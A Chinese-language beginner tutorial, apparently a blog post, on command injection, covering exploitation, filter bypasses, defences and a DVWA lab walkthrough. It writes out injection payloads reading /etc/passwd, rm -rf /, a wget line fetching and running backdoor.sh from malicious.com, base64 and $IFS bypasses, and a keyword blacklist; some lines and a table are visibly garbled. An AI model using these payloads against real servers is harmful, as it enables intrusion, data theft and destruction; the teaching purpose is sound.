零基础理解命令执行漏洞:Web 安全进阶知识点
零基础理解命令执行漏洞:Web 安全进阶知识点

一、引言
命令执行漏洞(Command Injection)是 Web 应用中常见的高危漏洞之一,攻击者通过将恶意命令注入到 Web 应用的命令执行函数中,使服务器执行未授权的系统命令(如查看文件、删除数据、控制服务器)。该漏洞一旦存在,可能导致服务器被完全控制,对 Web 应用的安全威胁极大。对零基础入门 Web 安全的学习者而言,理解命令执行漏洞的原理、利用方式和防御措施,是进阶 Web 渗透测试的重要环节。本文从基础概念出发,结合实战案例,带你全面掌握命令执行漏洞的核心知识点。
二、命令执行漏洞核心概念
1. 什么是命令执行漏洞
命令执行漏洞是指 Web 应用在调用系统命令时,未对用户输入的参数进行严格过滤或转义,导致攻击者可通过构造特殊参数,将恶意命令拼接进系统命令中,被服务器执行。简单来说,漏洞的本质是 “用户输入被当作系统命令的一部分执行”。
例如,某 Web 应用提供 “ping 测试” 功能,用户输入 IP 地址后,应用调用系统 ping 命令(如 ping -c 4 [用户输入的IP])。若攻击者输入 127.0.0.1 && ls,则拼接后的命令为 ping -c 4 127.0.0.1 && ls,服务器会先执行 ping 命令,再执行 ls 命令(列出当前目录文件),攻击者通过该方式获取服务器文件信息。
2. 命令执行漏洞的危害
-
信息泄露:执行 ls(列出文件)、cat /etc/passwd(查看用户列表)、ifconfig(查看网络配置)等命令,获取服务器敏感信息;
-
文件操作:执行 rm -rf /(删除所有文件)、cp /etc/passwd /var/www/html/(复制敏感文件到 Web 目录)等命令,破坏或窃取文件;
-
服务器控制:执行 wget http://malicious.com/backdoor.sh && chmod +x backdoor.sh && ./backdoor.sh 命令,下载并执行恶意脚本,获取服务器持久控制权;
-
横向渗透:通过执行 ssh 命令或远程控制工具,攻击内网其他服务器,扩大攻击范围。
3. 漏洞产生的关键场景
命令执行漏洞通常出现在 Web 应用调用系统命令的场景中,常见场景包括:
-
系统命令调用函数:Web 编程语言提供的调用系统命令的函数,如 PHP 的 system()、exec()、shell_exec(),Java 的 Runtime.getRuntime().exec(),Python 的 os.system();
-
用户输入参与命令拼接:用户输入的参数直接拼接到系统命令中,未经过滤(如 $cmd = "ping " . G E T [ ′ i p ′ ] ; s y s t e m ( _GET['ip']; system( GET[′ip′];system(cmd););
-
第三方工具调用:Web 应用调用第三方工具(如 nmap、ffmpeg、convert)处理用户数据,若工具参数可控且未过滤,也可能导致命令执行(如调用 ffmpeg 处理用户上传的视频时,参数被注入恶意命令)。
三、命令执行漏洞的常见利用方式
攻击者通过构造特殊输入,将恶意命令注入到系统命令中,常见利用技巧如下:
1. 命令连接符利用(核心技巧)
不同操作系统支持不同的命令连接符,用于在一条命令中执行多个命令,攻击者利用这些连接符拼接恶意命令:
| 连接符 | 作用(Linux/Windows) | 示例(注入命令 ls) | 说明 |
|---|---|---|---|
| && | 前命令执行成功后,执行后命令 | ping 127.0.0.1 && ls | 若 ping 成功,执行 ls |
| & | 前命令无论成功与否,均执行后命令 | ping 127.0.0.1 & ls | 无论 ping 是否成功,都执行 ls |
| ; | 分隔多个命令,依次执行 | ping 127.0.0.1 ; ls | 先执行 ping,再执行 ls(Linux 专用) |
| ` | ` | 将前命令的输出作为后命令的输入 | `ping 127.0.0.1 |
| ` | ` | 前命令执行失败后,执行后命令 |
实战示例:
某 PHP 应用的 ping 功能代码如下:
<?php
$ip = $_GET['ip'];
$cmd = "ping -c 4 " . $ip; // Linux 下 ping 4 次
system($cmd);
?>
攻击者访问 http://xxx.com/ping.php?ip=127.0.0.1 && cat /etc/passwd,拼接后的命令为 ping -c 4 127.0.0.1 && cat /etc/passwd,服务器会执行 ping 后,再执行 cat /etc/passwd,泄露用户列表。
2. 路径穿越与命令执行结合
若 Web 应用调用系统命令时,涉及文件路径且路径可控,攻击者可通过路径穿越(…/)跳转到敏感目录,执行命令:
实战示例:
某应用提供 “文件查看” 功能,调用 cat 命令查看指定文件,代码如下:
<?php
$file = $_GET['file'];
$cmd = "cat /var/www/html/docs/" . $file; // 限制在 docs 目录
system($cmd);
?>
攻击者访问 http://xxx.com/view.php?file=…/passwd && ls,拼接后的命令为 cat /var/www/html/docs/…/passwd && ls,其中 …/ 跳转到 /var/www/html/ 目录,执行 cat passwd(查看 Web 目录下的敏感文件)和 ls(列出目录文件)。
3. 特殊字符绕过过滤
若 Web 应用对输入进行简单过滤(如禁止 &&、ls 等关键词),攻击者可通过特殊字符编码、替换等方式绕过:
-
(1)空格替换:
-
Linux 下可用 I F S (内部字段分隔符)替换空格,如 p i n g IFS(内部字段分隔符)替换空格,如 ping IFS(内部字段分隔符)替换空格,如pingIFS127.0.0.1&&ls;
-
示例:访问 http://xxx.com/ping.php?ip=127.0.0.1&&cat$IFS/etc/passwd,绕过对空格的过滤。
-
(2)命令替换:
-
Linux 下可用
命令或 $(命令) 执行命令并将结果作为参数,如 pingwhoami(先执行 whoami 获取当前用户,再 ping 该用户名); -
示例:若应用禁止 ls,可访问 http://xxx.com/ping.php?ip=127.0.0.1&&$(echo -n bHM=|base64 -d),其中 bHM= 是 ls 的 Base64 编码,echo -n bHM=|base64 -d 解码后为 ls,实现命令执行。
-
(3)大小写绕过:
-
Windows 系统不区分命令大小写,如 LS、Ls 与 ls 效果相同;
-
示例:若应用过滤 ls,可访问 http://xxx.com/ping.php?ip=127.0.0.1&&LS(Windows 环境),绕过过滤。
4. 第三方工具参数注入
Web 应用调用第三方工具时,若工具参数可控且未过滤,攻击者可注入恶意命令:
实战示例:
某应用调用 nmap 工具扫描用户指定的 IP,代码如下:
<?php
$ip = $_GET['ip'];
$cmd = "nmap " . $ip;
system($cmd);
?>
nmap 工具支持 -oG 参数(将结果保存为 grep 格式),攻击者可构造输入 127.0.0.1 -oG /var/www/html/nmap.txt && cat /etc/passwd > /var/www/html/passwd.txt,拼接后的命令为 nmap 127.0.0.1 -oG /var/www/html/nmap.txt && cat /etc/passwd > /var/www/html/passwd.txt,执行后会将 nmap 结果和 /etc/passwd 内容保存到 Web 目录,攻击者可直接下载查看。
四、命令执行漏洞的防御方法
命令执行漏洞的防御核心是 “避免用户输入直接参与系统命令拼接”,需从输入过滤、命令调用方式、权限控制三个维度构建防御体系:
1. 严格过滤用户输入(基础防御)
-
(1)白名单过滤(推荐):
-
仅允许用户输入指定的合法字符或内容,如 ping 功能仅允许输入 IP 地址(格式为 xxx.xxx.xxx.xxx),使用正则表达式验证:
$ip = $_GET['ip'];
if (!preg_match('/^(\d{1,3}\.){3}\d{1,3}$/', $ip)) { // 验证 IP 格式
die("非法 IP 地址");
}
$cmd = "ping -c 4 " . $ip;
system($cmd);
-
优势:白名单过滤安全性高,可有效防止恶意输入,避免黑名单的 “漏网之鱼”。
-
(2)黑名单过滤(辅助):
-
禁止用户输入危险字符和命令(如 &&、&、;、ls、cat),但需注意绕过风险,仅作为辅助防御;
-
示例(PHP):
$ip = $_GET['ip'];
$blacklist = ['&&', '&', ';', '|', '||', 'ls', 'cat', '/etc/passwd'];
foreach ($blacklist as $ban) {
if (strpos($ip, $ban) !== false) {
die("输入包含非法字符");
}
}
$cmd = "ping -c 4 " . $ip;
system($cmd);
2. 避免直接拼接命令(核心防御)
-
(1)使用安全的 API 替代系统命令:
-
若功能可通过编程语言内置 API 实现,避免调用系统命令。例如:
-
ping 功能:PHP 可用 fsockopen() 函数实现 TCP/ICMP 连接,替代 system(“ping”);
-
文件查看:PHP 可用 file_get_contents() 函数读取文件,替代 system(“cat”);
-
示例(PHP 用 API 实现 ping 功能):
$ip = $_GET['ip'];
$socket = fsockopen($ip, 80, $errno, $errstr, 5); // 尝试连接 80 端口,模拟 ping 检测
if ($socket) {
echo "IP 可通";
fclose($socket);
} else {
echo "IP 不通:$errstr ($errno)";
}
-
(2)使用参数化调用(若必须调用系统命令):
-
若必须调用系统命令,使用编程语言支持的参数化调用方式,将用户输入作为参数传递,而非直接拼接。例如:
-
PHP 的 exec() 函数支持数组参数,将命令和参数分开传递:
$ip = $_GET['ip'];
$cmd = ['ping', '-c', '4', $ip]; // 命令和参数分开,用户输入仅作为参数
exec($cmd, $output);
print_r($output);
- Java 的 ProcessBuilder 类支持参数化构建命令,避免拼接:
String ip = request.getParameter("ip");
ProcessBuilder pb = new ProcessBuilder("ping", "-n", "4", ip); // Windows 下 ping 4 次
Process process = pb.start();
3. 限制命令执行权限(纵深防御)
-
(1)降权运行 Web 服务:
-
配置 Web 服务器(如 Apache、Nginx)以低权限用户(如 www-data)运行,避免使用 root 或 Administrator 权限。即使发生命令执行,攻击者也仅能获取低权限,无法修改系统关键文件;
-
示例:Linux 下将 Apache 运行用户改为 www-data,在 /etc/httpd/conf/httpd.conf 中设置 User www-data、Group www-data。
-
(2)禁用危险命令:
-
通过系统配置(如 sudoers 文件、AppArmor)限制 Web 服务用户可执行的命令,禁止 rm、ssh、wget 等危险命令;
-
示例:Linux 下使用 AppArmor 配置 Apache 仅允许执行 ping 命令,禁止其他系统命令。
4. 其他防御措施
-
(1)日志审计:
-
记录系统命令执行日志(如 system()、exec() 函数的调用日志),包含执行的命令、调用时间、调用 IP,便于事后追溯和入侵检测;
-
示例(PHP):
$cmd = "ping -c 4 " . $ip;
file_put_contents('/var/log/cmd_exec.log', date('Y-m-d H:i:s') . " - IP: {$_SERVER['REMOTE_ADDR']} - Cmd: {$cmd}\n", FILE_APPEND); // 记录日志
system($cmd);
-
(2)使用安全的开发框架:
-
采用成熟的 Web 开发框架(如 Laravel、Spring Boot),框架内置输入过滤和安全的命令调用方式,减少手动编写命令执行代码的风险;
-
避免使用过时或不安全的函数(如 PHP 的 eval()、assert(),这些函数也可能导致代码执行漏洞,与命令执行类似)。
五、实战案例:DVWA 命令执行漏洞测试
1. 环境准备
-
搭建 DVWA 靶场(参考前文搭建步骤),将安全级别设置为「Low」;
-
访问 DVWA 命令执行模块(http://localhost/dvwa/vulnerabilities/exec/),功能为输入 IP 地址进行 ping 测试。
2. 漏洞利用步骤
- (1)基础命令执行:
-
在输入框中输入 127.0.0.1 && ls,点击「Execute」;
-
页面显示 ping 结果后,列出当前目录文件(如 exec.php、index.php),说明命令执行成功。
- (2)泄露敏感信息:
-
输入 127.0.0.1 && cat /etc/passwd,点击「Execute」;
-
页面显示 /etc/passwd 文件内容(Linux 用户列表),泄露敏感信息。
- (3)绕过过滤(安全级别「Medium」):
-
将 DVWA 安全级别改为「Medium」,输入 127.0.0.1 && ls,页面提示 “Command injection protection in place!”(过滤了 &&);
-
尝试使用 & 连接符,输入 127.0.0.1 & ls,点击「Execute」,页面成功执行 ls 命令,绕过过滤。
3. 漏洞修复验证
- (1)添加白名单过滤:
修改 DVWA 命令执行模块代码(exec.php),添加 IP 格式验证:
$target = $_REQUEST['ip'];
// 白名单过滤:仅允许 IP 地址
if (!preg_match('/^(\d{1,3}\.){3}\d{1,3}$/', $target)) {
echo "<pre>非法 IP 地址</pre>";
exit;
}
$cmd = shell_exec('ping -c 4 ' . $target);
echo "<pre>{$cmd}</pre>";
- (2)验证修复效果:
输入 127.0.0.1 && ls,页面提示 “非法 IP 地址”,漏洞修复成功。
六、总结
命令执行漏洞的核心风险是 “用户输入被当作系统命令执行”,防御的关键是 “严格过滤输入 + 避免直接拼接命令”。零基础学习者需重点掌握命令连接符利用、过滤绕过技巧,结合 DVWA 靶场反复实战,理解不同场景下的漏洞利用与防御逻辑。在实际开发中,应优先使用编程语言内置 API 替代系统命令,若必须调用系统命令,需采用参数化调用和白名单过滤,同时限制 Web 服务权限,构建多层次防御体系,彻底防范命令执行漏洞。
网络安全学习资料分享
为了帮助大家更好的学习网络安全,我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,朋友们如果有需要这套网络安全教程+进阶学习资源包,可以扫码下方二维码限时免费领取(如遇扫码问题,可以在评论区留言领取哦)~


更多推荐


所有评论(0)